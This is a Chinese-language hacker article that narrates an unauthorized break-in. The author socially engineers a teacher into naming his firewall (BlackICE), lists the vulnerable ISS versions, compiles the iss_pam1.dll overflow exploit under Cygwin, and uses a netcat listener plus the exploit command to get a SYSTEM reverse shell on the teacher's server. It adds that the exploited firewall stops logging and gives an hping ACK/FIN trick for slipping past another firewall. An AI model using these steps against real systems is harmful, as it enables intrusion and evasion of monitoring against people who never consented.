无敌:最近机房里老是有人在莫名奇妙的扫描我设的网关啊!我都烦死了! 老师:这还不简单?垒个墙不就行了? 无敌:我……给您说实话吧,我对这方面真是一知半解的,我知道老师您在这方面很有研究,给条明路吧! 老师:我也只是多学了点而已(我汗。。这么经不起。。)你去网上找那个黑冰(就是blackice)服务器版的装上就可以了! 无敌:啊?没听说过啊!好用吗? 老师:当然好用了,我那服务器上就装的啊!(嘎嘎!~~~我差点跳起来) 无敌:谢谢,老师您真是高手!我马上去下去!再见!

社会工程学,任何时候任何地方,与技术相结合会有意想不到的结果。既然确认了目标系统的防火墙为blackice那么我们再看一下该漏洞涉及的blackice的版本吧,如下:

ISS RealSecure Network Sensor 7.0 XPU 22.9 ISS RealSecure Network Sensor 7.0 XPU 22.11 ISS RealSecure Network Sensor 7.0 XPU 22.10 ISS RealSecure Network Sensor 7.0 XPU 20.15 ISS RealSecure Server Sensor 7.0 XPU 22.9 ISS RealSecure Server Sensor 7.0 XPU 22.11 ISS RealSecure Server Sensor 7.0 XPU 22.10 ISS RealSecure Server Sensor 7.0 XPU 20.19 ISS RealSecure Server Sensor 7.0 XPU 20.18 ISS RealSecure Server Sensor 7.0 XPU 20.16 ISS BlackIce Server Protection 3.6 ccf ISS BlackIce Server Protection 3.6 ccb ISS BlackIce Server Protection 3.6 cbz ISS BlackIce Server Protection 3.5 cdf ISS BlackICE Agent for Server 3.6 ecf ISS BlackICE Agent for Server 3.6 ecb ISS BlackICE Agent for Server 3.6 eca ISS BlackICE PC Protection 3.6 ccf ISS BlackICE PC Protection 3.6 ccd ISS BlackICE PC Protection 3.6 ccb ISS BlackICE PC Protection 3.6 cbz ISS BlackICE PC Protection 3.6 cbr ISS Proventia A Series XPU 22.9 ISS Proventia A Series XPU 22.11 ISS Proventia A Series XPU 22.10 ISS Proventia A Series XPU 20.15 ISS Proventia G Series XPU 22.9 ISS Proventia G Series XPU 22.3 ISS Proventia G Series XPU 22.11 ISS Proventia G Series XPU 22.10 ISS Proventia M Series XPU 1.9 ISS Proventia M Series XPU 1.8 ISS Proventia M Series XPU 1.7 ISS Proventia M Series XPU 1.3

看到了吧,这么多东东都受那个漏洞的影响,不怕他不中!马上找出exploit来,该exploit是linux下编写的,要想在win下我们就要用cygwin来搞定它了!先把exploit复制到cygwin的home目录里文件名为blackhit.c,然后打开cygwin我们编译。 如图三。

OK!编译成功了,把cygwin目录下的bin目录里的cgywin1.dll和你编译好的blackhit.exe一起复制到一个目录里。准备工作做完了,我们看看手中的武器的使用方法,如下: K:\mfm>blackhit 557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit - Sam compiled by 无敌最寂寞@ringz.org

blackhit

参数不多,blackhit 目标主机的ip 本地监听的ip 本地监听的端口。 OK!激动人心的时刻到了,再打开一个cmd,输入nc -v -l -p 518。然后另一个cmd输入blackhit 192.168.203.2 192.168.203.16 518。运行结果

如图四。

嘎嘎!!得到shell了,看看是什么权限哦!

如图五!

果然是system权限!真是说不出的心情,就这么意外的得到了权限,成功的入侵目标主机!

事情到此也就结束了,跟那个老师坦白后,我们两个都很尴尬,最后还是一起去喝了一顿酒!(不打不相识啊!^_^)

事后我又在实验室重新做了一次溢出测试,结果发现当溢出成功后,目标系统没有任何反应,但是防火墙就跟僵死在那,你也可以照常打开,设置防火墙。但是防火墙不会再记录任何入侵日志了!而且你只能重新启动机器才能恢复防火墙,我尝试停止防火墙的服务然后再启动服务,结果在启动的时候提示说“服务的实例已在运行中”说明在溢出的时候造成了服务进程blackd.exe假死的现象。所以只有重新启动才能恢复正常。

此次经历让我对防火墙产生了浓厚的兴趣,又接二连三的测试了不少防火墙的安全性,其中在测试天网防火墙的时候发现,尽管防火墙处于最高安全级别,但是利用hping一样可以绕过防火墙ping通后面的主机,具体方法就是将发送的数据包的ACK位或者FIN为置位,这样防火墙就放行了!由于此类问题不在本文的讨论范围内了,有兴趣的读者可以自行实验试一下!

4、 后记 写完这篇稿子我总算可以松一口气了,关于这个漏洞我再补充几句,其实类似这样的漏洞有很多比如想wsftp等的溢出漏洞,此类漏洞是可遇不可求的,你如果非要用这个漏洞去找寻什么肉鸡的话,那么我劝你还是别大海捞针了! 同时要说明的是ISS后续推出的ccg和cch版本的blackcie已经补上了此漏洞,请使用该防火墙的朋友赶紧升级吧!

0%